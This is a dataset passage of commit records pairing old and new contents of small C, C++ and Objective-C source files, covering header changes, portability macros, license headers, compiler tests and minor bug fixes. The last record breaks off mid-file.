{"commit":"6f92873e8a06ee7d5159d04aac1377c67e2b8c44","old_file":"BIObjCHelpers\/Interface\/BIObjCHelpers.h","new_file":"BIObjCHelpers\/Interface\/BIObjCHelpers.h","old_contents":"\/\/\n\/\/  BIObjCHelpers.h\n\/\/  BIObjCHelpersExample\n\/\/\n\/\/  Created by Bogdan Iusco on 1\/19\/15.\n\/\/  Copyright (c) 2015 Bogdan Iusco. All rights reserved.\n\/\/\n\n\/\/ Starters\n#import \"BIStarterProtocol.h\"\n#import \"BILifecycle.h\"\n#import \"BIStartersFactory.h\"\n#import \"BIOperationQueue.h\"\n\n\/\/ Views\n#import \"BITableView.h\"\n\n\/\/ Datasources\n#import \"BIDatasourceTableView.h\"\n#import \"BIDatasourceCollectionView.h\"\n#import \"BIDatasourceFetchedTableView.h\"\n#import \"BIDatasourceFetchedCollectionView.h\"\n#import \"BIDatasourceFeedTableView.h\"\n#import \"BIBatch.h\"\n\n\/\/ Handlers\n#import \"BIHandlerBase.h\"\n#import \"BIHandlerTableView.h\"\n\n\/\/ Categories\n#import \"NSBundle+BIExtra.h\"\n#import \"NSString+BIExtra.h\"\n#import \"NSDate+BIAttributedString.h\"\n\n\/\/ Batch\n#import \"BIBatch.h\"\n#import \"BIBatchRequest.h\"\n#import \"BIBatchResponse.h\"\n","new_contents":"\/\/\n\/\/  BIObjCHelpers.h\n\/\/  BIObjCHelpersExample\n\/\/\n\/\/  Created by Bogdan Iusco on 1\/19\/15.\n\/\/  Copyright (c) 2015 Bogdan Iusco. All rights reserved.\n\/\/\n\n\/\/ Starters\n#import \"BIStarterProtocol.h\"\n#import \"BILifecycle.h\"\n#import \"BIStartersFactory.h\"\n#import \"BIOperationQueue.h\"\n#import \"BILaunchStartersFactory.h\"\n\n\/\/ Views\n#import \"BITableView.h\"\n\n\/\/ Datasources\n#import \"BIDatasourceTableView.h\"\n#import \"BIDatasourceCollectionView.h\"\n#import \"BIDatasourceFetchedTableView.h\"\n#import \"BIDatasourceFetchedCollectionView.h\"\n#import \"BIDatasourceFeedTableView.h\"\n#import \"BIBatch.h\"\n\n\/\/ Handlers\n#import \"BIHandlerBase.h\"\n#import \"BIHandlerTableView.h\"\n\n\/\/ Categories\n#import \"NSBundle+BIExtra.h\"\n#import \"NSString+BIExtra.h\"\n#import \"NSDate+BIAttributedString.h\"\n\n\/\/ Batch\n#import \"BIBatch.h\"\n#import \"BIBatchRequest.h\"\n#import \"BIBatchResponse.h\"\n","subject":"Add BILaunchStartersFactory to interface file","message":"Add BILaunchStartersFactory to interface file\n","lang":"C","license":"mit","repos":"grigaci\/BIObjCHelpers"}
{"commit":"0e4d41f065f7803d096e6c53b3956c820186c3ea","old_file":"freebsd\/util.h","new_file":"freebsd\/util.h","old_contents":"#include <libutil.h>\n\n#ifndef TAILQ_END\n#define\tTAILQ_END(head)\t\t\tNULL\n#endif\n","new_contents":"#include <libutil.h>\n\n#ifndef TAILQ_END\n#define TAILQ_END(head)\t\t\tNULL\n#endif\n\n#ifndef SIMPLEQ_HEAD\n#define SIMPLEQ_HEAD\t\t\tSTAILQ_HEAD\n#define SIMPLEQ_HEAD_INITIALIZER\tSTAILQ_HEAD_INITIALIZER\n#define SIMPLEQ_ENTRY\t\t\tSTAILQ_ENTRY\n#define SIMPLEQ_INIT\t\t\tSTAILQ_INIT\n#define SIMPLEQ_INSERT_AFTER\t\tSTAILQ_INSERT_AFTER\n#define SIMPLEQ_INSERT_HEAD\t\tSTAILQ_INSERT_HEAD\n#define SIMPLEQ_INSERT_TAIL\t\tSTAILQ_INSERT_TAIL\n#define SIMPLEQ_EMPTY\t\t\tSTAILQ_EMPTY\n#define SIMPLEQ_FIRST\t\t\tSTAILQ_FIRST\n#define SIMPLEQ_REMOVE_AFTER\t\tSTAILQ_REMOVE_AFTER\n#define SIMPLEQ_REMOVE_HEAD\t\tSTAILQ_REMOVE_HEAD\n#define SIMPLEQ_FOREACH\t\t\tSTAILQ_FOREACH\n#define SIMPLEQ_END(head)\t\tNULL\n#endif\n","subject":"Add SIMPLEQ->STAILQ macros for freebsd.","message":"Add SIMPLEQ->STAILQ macros for freebsd.\n","lang":"C","license":"isc","repos":"conformal\/spectrwm,conformal\/spectrwm,conformal\/spectrwm"}
{"commit":"e5155ae7c734428d5456c1b7d47bbc2ac31f6da9","old_file":"inputhandler.c","new_file":"inputhandler.c","old_contents":"","new_contents":"\/\/This is a preliminary version of this file for testing and learning purposes\n\/\/Author: Jonas Iacobi\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\nchar* getMessage(char* filename){\n  char* msg = NULL;\n  int   msgLength, txtLength;\n  FILE *fp = fopen( filename, \"r\");\n\n  if(fp){\n    \/\/Find end of text file, find file size, and go back to beginning of file.\n    fseek(fp, 0, SEEK_END);\n    msgLength = ftell(fp);\n    fseek(fp, SEEK_SET, 0);\n\n    \/\/Allocate memory for the string\n    msg = ((char*) malloc(sizeof(char) * msgLength+1));\n\n    \/\/Read the entire file pointed to by fp in chunks of 2 byte to the string msg and store the read size in txtLength.\n    txtLength = fread(msg, sizeof(char), msgLength, fp);\n    msg[msgLength] = '\\0';\n    fclose(fp);\n    \/\/Error check\n    if(msgLength != txtLength){\n      \/\/The read failed somehow. Abort mission.\n      free(msg);\n      msg = NULL;\n      return \"Error: Length of file not equal to length of read. That's probably my fault -Jonas\";\n      }\n\n    return msg;\n    }\n  else{\n    return \"Error: File not found. Please contact the poor students who made this.\";\n    }\n}\n\nint main(){\n  char* filename = \"C:\/Users\/iacob\/Desktop\/msg.txt\";\n  printf(\"%s\\n\", filename);\n  char* message = getMessage(filename);\n  printf(\"%s\\n\", message);\n  return 0;\n}\n","subject":"Revert \"Revert \"Created a preliminary getMessage method\"\"","message":"Revert \"Revert \"Created a preliminary getMessage method\"\"\n\nThis reverts commit 7d29c8faff9ffba05d14e7597e78dd24da7eaab4.\n","lang":"C","license":"mit","repos":"Zaladar\/PPM,Zaladar\/PPM,Zaladar\/PPM"}
{"commit":"264a4058eb58ba078069f2cc2ff6fa9ae015bc4d","old_file":"src\/stack.h","new_file":"src\/stack.h","old_contents":"#ifndef _STACK_H_\n#define _STACK_H_\n\/*\n * data stack for use with automaton infrastructure\n *\/\n\n#include \"dataStackEntry.h\"\n\ntypedef struct stack Stack;\n\nStack          *stack_create(int size);\nvoid           stack_destroy(Stack *st);\nvoid           reset(Stack *st);\nvoid           push(Stack *st, DataStackEntry d);\nDataStackEntry pop(Stack *st);\n\n#endif \/* _STACK_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n *   this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n *   this list of conditions and the following disclaimer in the documentation\n *   and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n *   contributors may be used to endorse or promote products derived from this\n *   software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#ifndef _STACK_H_\n#define _STACK_H_\n\/*\n * data stack for use with automaton infrastructure\n *\/\n\n#include \"dataStackEntry.h\"\n\ntypedef struct stack Stack;\n\nStack          *stack_create(int size);\nvoid           stack_destroy(Stack *st);\nvoid           reset(Stack *st);\nvoid           push(Stack *st, DataStackEntry d);\nDataStackEntry pop(Stack *st);\n\n#endif \/* _STACK_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"jsventek\/Cache,fergul\/Cache,jsventek\/Cache,fergul\/Cache,jsventek\/Cache,fergul\/Cache"}
{"commit":"eee5fc4106b389daeb709112f77b1a2e41ceee30","old_file":"src\/sysdeps\/tryarc4random_addrandom.c","new_file":"src\/sysdeps\/tryarc4random_addrandom.c","old_contents":"\/* ISC license. *\/\n\n#undef _POSIX_C_SOURCE\n#undef _XOPEN_SOURCE\n\n#include <stdlib.h>\n\nint main (void)\n{\n  arc4random_addrandom(\"\", 1) ;\n  return 0 ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#undef _POSIX_C_SOURCE\n#undef _XOPEN_SOURCE\n\n#include <stdlib.h>\n\nint main (void)\n{\n  unsigned char *blah = \"\" ;\n  arc4random_addrandom(blah, 1) ;\n  return 0 ;\n}\n","subject":"Fix arc4random_addrandom detection for -Werror=pointer-sign","message":" Fix arc4random_addrandom detection for -Werror=pointer-sign\n","lang":"C","license":"isc","repos":"skarnet\/skalibs,skarnet\/skalibs"}
{"commit":"b56a4389c1ae7ce29e2221db3339ce7a9ec2ff62","old_file":"test\/main.c","new_file":"test\/main.c","old_contents":"#include <stdio.h>\n\n#include \"bincookie.h\"\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s [Full path to Cookies.binarycookies file]\\n\", argv[0]);\n        printf(\"Example: %s Cookies.binarycookies\\n\", argv[0]);\n        return 1;\n    }\n\n    binarycookies_t *bc = binarycookies_init(argv[1]);\n    unsigned int i, j;\n    binarycookies_flag flags;\n\n    \/\/ Output in Netscape cookies.txt format\n    for (i = 0; i < bc->num_pages; i++) {\n        for (j = 0; j < bc->pages[i]->number_of_cookies; j++) {\n            flags = bc->pages[i]->cookies[j]->flags;\n\n            \/\/ domain, flag, path, secure, expiration, name, value\n            printf(\"%s\\t%s\\t%s\\t%s\\t%.f\\t%s\\t%s\\n\",\n                   bc->pages[i]->cookies[j]->url,\n                   bc->pages[i]->cookies[j]->url[0] == '.' ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->path,\n                   flags == secure || flags == secure_http_only ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->expiration_date,\n                   bc->pages[i]->cookies[j]->name,\n                   bc->pages[i]->cookies[j]->value);\n        }\n    }\n\n    binarycookies_free(bc);\n\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#include \"bincookie.h\"\n\nint main(int argc, char *argv[]) {\n    if (argc != 2) {\n        printf(\"Usage: %s [Full path to Cookies.binarycookies file]\\n\", argv[0]);\n        printf(\"Example: %s Cookies.binarycookies\\n\", argv[0]);\n        return 1;\n    }\n\n    binarycookies_t *bc = binarycookies_init(argv[1]);\n    unsigned int i, j;\n\n    \/\/ Output in Netscape cookies.txt format\n    for (i = 0; i < bc->num_pages; i++) {\n        for (j = 0; j < bc->pages[i]->number_of_cookies; j++) {\n            \/\/ domain, flag, path, secure, expiration, name, value\n            printf(\"%s\\t%s\\t%s\\t%s\\t%.f\\t%s\\t%s\\n\",\n                   bc->pages[i]->cookies[j]->url,\n                   bc->pages[i]->cookies[j]->url[0] == '.' ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->path,\n                   binarycookies_is_secure(bc->pages[i]->cookies[j]) ? \"TRUE\" : \"FALSE\",\n                   bc->pages[i]->cookies[j]->expiration_date,\n                   bc->pages[i]->cookies[j]->name,\n                   bc->pages[i]->cookies[j]->value);\n        }\n    }\n\n    binarycookies_free(bc);\n\n    return 0;\n}\n","subject":"Use macro to check security of cookie","message":"Use macro to check security of cookie\n","lang":"C","license":"mit","repos":"Tatsh\/libbinarycookies,Tatsh\/libbinarycookies"}
{"commit":"1f1e880a7ff7fc1dcb3dbba5910ff6e5a65603c6","old_file":"net\/proxy\/proxy_resolver_mac.h","new_file":"net\/proxy\/proxy_resolver_mac.h","old_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data_;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","new_contents":"\/\/ Copyright (c) 2008 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_PROXY_PROXY_RESOLVER_MAC_H_\n#define NET_PROXY_PROXY_RESOLVER_MAC_H_\n#pragma once\n\n#include <string>\n\n#include \"googleurl\/src\/gurl.h\"\n#include \"net\/base\/net_errors.h\"\n#include \"net\/proxy\/proxy_resolver.h\"\n\nnamespace net {\n\n\/\/ Implementation of ProxyResolver that uses the Mac CFProxySupport to implement\n\/\/ proxies.\nclass ProxyResolverMac : public ProxyResolver {\n public:\n  ProxyResolverMac() : ProxyResolver(false \/*expects_pac_bytes*\/) {}\n\n  \/\/ ProxyResolver methods:\n  virtual int GetProxyForURL(const GURL& url,\n                             ProxyInfo* results,\n                             CompletionCallback* callback,\n                             RequestHandle* request,\n                             const BoundNetLog& net_log);\n\n  virtual void CancelRequest(RequestHandle request) {\n    NOTREACHED();\n  }\n\n  virtual int SetPacScript(\n      const scoped_refptr<ProxyResolverScriptData>& script_data,\n      CompletionCallback* \/*callback*\/) {\n    script_data_ = script_data;\n    return OK;\n  }\n\n private:\n  scoped_refptr<ProxyResolverScriptData> script_data_;\n};\n\n}  \/\/ namespace net\n\n#endif  \/\/ NET_PROXY_PROXY_RESOLVER_MAC_H_\n","subject":"Fix a typo, that could cause a crash on mac.","message":"Fix a typo, that could cause a crash on mac.\n\nBUG=50717\nTBR=rvargas\nTEST=Set system proxy settings to use a custom PAC script, then launch TestShell.app -- should not crash.\nReview URL: http:\/\/codereview.chromium.org\/3023030\n\ngit-svn-id: dd90618784b6a4b323ea0c23a071cb1c9e6f2ac7@54279 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n","lang":"C","license":"bsd-3-clause","repos":"wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser,wistoch\/meego-app-browser"}
{"commit":"6f608d521539a6c6d492185c964853021ba4a5a3","old_file":"lib\/assembly.h","new_file":"lib\/assembly.h","old_contents":"\/* ===-- assembly.h - compiler-rt assembler support macros -----------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is distributed under the University of Illinois Open Source\n * License. See LICENSE.TXT for details.\n *\n * ===----------------------------------------------------------------------===\n *\n * This file defines macros for use in compiler-rt assembler source.\n * This file is not part of the interface of this library.\n *\n * ===----------------------------------------------------------------------===\n *\/\n\n#ifndef COMPILERRT_ASSEMBLY_H\n#define COMPILERRT_ASSEMBLY_H\n\n\/\/ Define SYMBOL_NAME to add the appropriate symbol prefix; we can't use\n\/\/ USER_LABEL_PREFIX directly because of cpp brokenness.\n#if defined(__POWERPC__) || defined(__powerpc__) || defined(__ppc__)\n\n#define SYMBOL_NAME(name) name\n#define SEPARATOR @\n\n#else\n\n#define SYMBOL_NAME(name) _##name\n#define SEPARATOR ;\n\n#endif\n\n#define DEFINE_COMPILERRT_FUNCTION(name) \\\n  .globl SYMBOL_NAME(name) SEPARATOR     \\\n  SYMBOL_NAME(name):\n\n#define DEFINE_COMPILERRT_PRIVATE_FUNCTION(name) \\\n  .globl SYMBOL_NAME(name) SEPARATOR             \\\n  .private_extern SYMBOL_NAME(name) SEPARATOR    \\\n  SYMBOL_NAME(name):\n\n#endif \/* COMPILERRT_ASSEMBLY_H *\/\n","new_contents":"\/* ===-- assembly.h - compiler-rt assembler support macros -----------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is distributed under the University of Illinois Open Source\n * License. See LICENSE.TXT for details.\n *\n * ===----------------------------------------------------------------------===\n *\n * This file defines macros for use in compiler-rt assembler source.\n * This file is not part of the interface of this library.\n *\n * ===----------------------------------------------------------------------===\n *\/\n\n#ifndef COMPILERRT_ASSEMBLY_H\n#define COMPILERRT_ASSEMBLY_H\n\n\/\/ Define SYMBOL_NAME to add the appropriate symbol prefix; we can't use\n\/\/ USER_LABEL_PREFIX directly because of cpp brokenness.\n#if defined(__POWERPC__) || defined(__powerpc__) || defined(__ppc__)\n\n#define SYMBOL_NAME(name) name\n#define SEPARATOR @\n\n#else\n\n#define SYMBOL_NAME(name) #__USER_LABEL_PREFIX__ ##name\n#define SEPARATOR ;\n\n#endif\n\n#define DEFINE_COMPILERRT_FUNCTION(name) \\\n  .globl SYMBOL_NAME(name) SEPARATOR     \\\n  SYMBOL_NAME(name):\n\n#define DEFINE_COMPILERRT_PRIVATE_FUNCTION(name) \\\n  .globl SYMBOL_NAME(name) SEPARATOR             \\\n  .private_extern SYMBOL_NAME(name) SEPARATOR    \\\n  SYMBOL_NAME(name):\n\n#endif \/* COMPILERRT_ASSEMBLY_H *\/\n","subject":"Use __USER_LABEL_PREFIX__ so that we don't add a _ prefix on ELF.","message":"Use __USER_LABEL_PREFIX__ so that we don't add a _ prefix on ELF.\n\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@86542 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"c1c9990cbac5231efe8989ab34909ef948fb73cd","old_file":"cpp\/include\/phevaluator\/card.h","new_file":"cpp\/include\/phevaluator\/card.h","old_contents":"#ifndef PHEVALUATOR_CARD_H\n#define PHEVALUATOR_CARD_H\n\n#ifdef __cplusplus\n\n#include <unordered_map>\n#include <string>\n\nnamespace phevaluator {\n\nclass Card {\n public:\n  Card() {}\n\n  Card(int id) : id_(id) {}\n\n  Card(std::string name) {\n    const std::unordered_map<char, int> rankMap = {\n      {'2', 0}, {'3', 1}, {'4', 2}, {'5', 3},\n      {'6', 4}, {'7', 5}, {'8', 6}, {'9', 7},\n      {'T', 8}, {'J', 9}, {'Q', 10}, {'K', 11}, {'A', 12},\n    };\n    const std::unordered_map<char, int> suitMap = {\n      {'C', 0}, {'D', 1}, {'H', 2}, {'S', 3},\n      {'c', 0}, {'d', 1}, {'h', 2}, {'s', 3},\n    };\n\n    if (name.length() < 2) {\n      \/\/ TODO: throw an exception here\n    }\n\n    id_ = rankMap.at(name[0]) * 4 + suitMap.at(name[1]);\n  }\n\n  operator int() const { return id_; }\n\n private:\n  int id_;\n};\n\n} \/\/ namespace phevaluator\n\n#endif \/\/ __cplusplus\n\n#endif \/\/ PHEVALUATOR_CARD_H\n","new_contents":"#ifndef PHEVALUATOR_CARD_H\n#define PHEVALUATOR_CARD_H\n\n#ifdef __cplusplus\n\n#include <unordered_map>\n#include <string>\n\nnamespace phevaluator {\n\nclass Card {\n public:\n  Card() {}\n\n  Card(int id) : id_(id) {}\n\n  Card(std::string name) {\n    const std::unordered_map<char, int> rankMap = {\n      {'2', 0}, {'3', 1}, {'4', 2}, {'5', 3},\n      {'6', 4}, {'7', 5}, {'8', 6}, {'9', 7},\n      {'T', 8}, {'J', 9}, {'Q', 10}, {'K', 11}, {'A', 12},\n    };\n    const std::unordered_map<char, int> suitMap = {\n      {'C', 0}, {'D', 1}, {'H', 2}, {'S', 3},\n      {'c', 0}, {'d', 1}, {'h', 2}, {'s', 3},\n    };\n\n    if (name.length() < 2) {\n      \/\/ TODO: throw an exception here\n    }\n\n    id_ = rankMap.at(name[0]) * 4 + suitMap.at(name[1]);\n  }\n\n  Card(const char name[]) : Card(std::string(name)) {}\n\n  operator int() const { return id_; }\n\n private:\n  int id_;\n};\n\n} \/\/ namespace phevaluator\n\n#endif \/\/ __cplusplus\n\n#endif \/\/ PHEVALUATOR_CARD_H\n","subject":"Add parameter type `const char []` to the Card constructor","message":"Add parameter type `const char []` to the Card constructor\n","lang":"C","license":"apache-2.0","repos":"HenryRLee\/PokerHandEvaluator,HenryRLee\/PokerHandEvaluator,HenryRLee\/PokerHandEvaluator"}
{"commit":"213ebf26505763a32d7248b0e86a1cb7b50d9f6a","old_file":"test2\/arrays\/qualified_type_checks.c","new_file":"test2\/arrays\/qualified_type_checks.c","old_contents":"","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\ntypedef int array[3];\n\nconst array yo; \/\/ int const yo[3];\n\/\/                             ^~ no const here\n\nh(array); \/\/ int h(int [3]);\n\ni(const array); \/\/ int i(int const [3]);\n\/\/                                 ^~ no const here\n\nj(int[const]); \/\/ int j(int *const);\n\n\n_Static_assert(_Generic(yo, const int[3]: 1) == 1, \"\");\n\n_Static_assert(_Generic(&h, int (*)(int[3]): 1) == 1, \"\");\n_Static_assert(_Generic(&h, int (*)(int const[3]): 1, default: 2) == 2, \"\");\n_Static_assert(_Generic(&h, int (*)(int *const): 1) == 1, \"\");\n_Static_assert(_Generic(&h, int (*)(int *): 1) == 1, \"\");\n\n_Static_assert(_Generic(&i, int (*)(int const[3]): 1) == 1, \"\");\n_Static_assert(_Generic(&i, int (*)(int      [3]): 1, default: 2) == 2, \"\");\n_Static_assert(_Generic(&i, int (*)(int const *): 1) == 1, \"\");\n_Static_assert(_Generic(&i, int (*)(int const *const): 1) == 1, \"\");\n\n_Static_assert(_Generic(&j, int (*)(int *const): 1) == 1, \"\");\n_Static_assert(_Generic(&j, int (*)(int [const]): 1) == 1, \"\");\n_Static_assert(_Generic(&j, int (*)(int const *const): 1, default: 2) == 2, \"\");\n_Static_assert(_Generic(&j, int (*)(int const [const]): 1, default: 2) == 2, \"\");\n","subject":"Add function parameter qualifier type tests","message":"Add function parameter qualifier type tests\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"c13fa6ae63ef93364adc41d332eaa249f3585ec6","old_file":"lib\/bytestream.h","new_file":"lib\/bytestream.h","old_contents":"#ifndef __BYTESTREAM__\n#define __BYTESTREAM__\n\n#include <stdint.h>\n#include <unistd.h>\n\n#define BS_RO 0\n#define BS_RW 1\n\ntypedef struct _ByteStream {\n  char* filename;\n  size_t size;\n\n  uint8_t* data;\n  uint32_t offset;\n\n  int exhausted;\n} ByteStream;\n\nByteStream* bsalloc(unsigned int size);\nByteStream* bsmap(char* filename);\nint bsfree(ByteStream* bstream);\n\nvoid bsseek(ByteStream* bs, uint32_t offset);\nvoid bsreset(ByteStream* bs);\n\nunsigned int bsread(ByteStream* bs, uint8_t* buf, size_t size);\nunsigned int bsread_offset(ByteStream* bs, uint8_t* buf, size_t size,\n\t\t\t   uint32_t offset);\n\nint bswrite(ByteStream* bs, uint8_t* data, unsigned int size);\nunsigned int bswrite_offset(ByteStream* bs, uint8_t* buf, size_t size, \n\t\t\t    uint32_t offset);\n\nint bssave(ByteStream* bs, char* filename);\n\n#endif\n","new_contents":"#ifndef __BYTESTREAM__\n#define __BYTESTREAM__\n\n#include <stdint.h>\n#include <unistd.h>\n\n#define BS_RO 0\n#define BS_RW 1\n\n\/\/ MAP_ANONYMOUS is MAP_ANON on OSX, so this will let us compile\n#ifndef MAP_ANONYMOUS\n#define MAP_ANONYMOUS MAP_ANON\n#endif\n\ntypedef struct _ByteStream {\n  char* filename;\n  size_t size;\n\n  uint8_t* data;\n  uint32_t offset;\n\n  int exhausted;\n} ByteStream;\n\nByteStream* bsalloc(unsigned int size);\nByteStream* bsmap(char* filename);\nint bsfree(ByteStream* bstream);\n\nvoid bsseek(ByteStream* bs, uint32_t offset);\nvoid bsreset(ByteStream* bs);\n\nunsigned int bsread(ByteStream* bs, uint8_t* buf, size_t size);\nunsigned int bsread_offset(ByteStream* bs, uint8_t* buf, size_t size,\n\t\t\t   uint32_t offset);\n\nint bswrite(ByteStream* bs, uint8_t* data, unsigned int size);\nunsigned int bswrite_offset(ByteStream* bs, uint8_t* buf, size_t size, \n\t\t\t    uint32_t offset);\n\nint bssave(ByteStream* bs, char* filename);\n\n#endif\n","subject":"Fix compilation on OSX MAP_ANONYMOUS is MAP_ANON on OSX, so this will let the project compile.","message":"Fix compilation on OSX\nMAP_ANONYMOUS is MAP_ANON on OSX, so this\nwill let the project compile.\n","lang":"C","license":"bsd-3-clause","repos":"strazzere\/dexterity,rchiossi\/dexterity,rchiossi\/dexterity,rchiossi\/dexterity,strazzere\/dexterity,strazzere\/dexterity"}
{"commit":"766a76e551d945fc2513a7c2968544a19c810d96","old_file":"common\/bpf\/lib\/dbg.h","new_file":"common\/bpf\/lib\/dbg.h","old_contents":"#ifndef __LIB_DBG__\n#define __LIB_DBG__\n\n#define DEBUG\n#ifdef DEBUG\n# define printk(fmt, ...)\t\t\t\t\t\\\n\t\t({\t\t\t\t\t\t\\\n\t\t\tchar ____fmt[] = fmt;\t\t\t\\\n\t\t\ttrace_printk(____fmt, sizeof(____fmt),\t\\\n\t\t\t\t     ##__VA_ARGS__);\t\t\\\n\t\t})\n#else\n# define printk(fmt, ...)\t\t\t\t\t\\\n\t\tdo { } while (0)\n#endif\n\n#endif \/* __LIB_DBG__ *\/\n","new_contents":"#ifndef __LIB_DBG__\n#define __LIB_DBG__\n\n#ifdef DEBUG\n# define printk(fmt, ...)\t\t\t\t\t\\\n\t\t({\t\t\t\t\t\t\\\n\t\t\tchar ____fmt[] = fmt;\t\t\t\\\n\t\t\ttrace_printk(____fmt, sizeof(____fmt),\t\\\n\t\t\t\t     ##__VA_ARGS__);\t\t\\\n\t\t})\n#else\n# define printk(fmt, ...)\t\t\t\t\t\\\n\t\tdo { } while (0)\n#endif\n\n#endif \/* __LIB_DBG__ *\/\n","subject":"Remove DEBUG for performance testing.","message":"Remove DEBUG for performance testing.\n","lang":"C","license":"apache-2.0","repos":"gumpt\/cilium,mskarbek\/cilium,scanf\/cilium,tgraf\/cilium,scanf\/cilium,cilium\/cilium,gumpt\/cilium,ivar-lazzaro\/cilium,michi-covalent\/cilium,michi-covalent\/cilium,michi-covalent\/cilium,ivar-lazzaro\/cilium,scanf\/cilium,michi-covalent\/cilium,tklauser\/cilium,mskarbek\/cilium,gumpt\/cilium,scanf\/cilium,ivar-lazzaro\/cilium,mskarbek\/cilium,cilium\/cilium,tgraf\/cilium,ivar-lazzaro\/cilium,eloycoto\/cilium,eloycoto\/cilium,tgraf\/cilium,gumpt\/cilium,scanf\/cilium,eloycoto\/cilium,ivar-lazzaro\/cilium,tklauser\/cilium,tgraf\/cilium,mskarbek\/cilium,eloycoto\/cilium,mskarbek\/cilium,gumpt\/cilium,scanf\/cilium,scanf\/cilium,gumpt\/cilium,tgraf\/cilium,eloycoto\/cilium,ivar-lazzaro\/cilium,eloycoto\/cilium,tklauser\/cilium,eloycoto\/cilium,cilium\/cilium,cilium-team\/cilium,tklauser\/cilium,mskarbek\/cilium,cilium\/cilium,tklauser\/cilium,michi-covalent\/cilium,cilium-team\/cilium,cilium\/cilium,tgraf\/cilium,gumpt\/cilium"}
{"commit":"399869422abf30a0f635596263fd315ea9bde266","old_file":"Kiwi\/KiwiConfiguration.h","new_file":"Kiwi\/KiwiConfiguration.h","old_contents":"\/\/\n\/\/ Licensed under the terms in License.txt\n\/\/\n\/\/ Copyright 2010 Allen Ding. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n#define KW_VERSION 0.5\n\n\/\/ Blocks being unavailable cripples the usability of Kiwi, but is supported\n\/\/ because they are not available on anything less than a device running 3.2.\n#if defined(__BLOCKS__)\n    #define KW_BLOCKS_ENABLED 1\n#endif \/\/ #if defined(__BLOCKS__)\n\n\/\/ As of iPhone SDK 4 GM, exceptions thrown across an NSInvocation -invoke or\n\/\/ forwardInvocation: boundary in the simulator will terminate the app instead\n\/\/ of being caught in @catch blocks from the caller side of the -invoke. Kiwi\n\/\/ tries to handle this by storing the first exception that it would have\n\/\/ otherwise 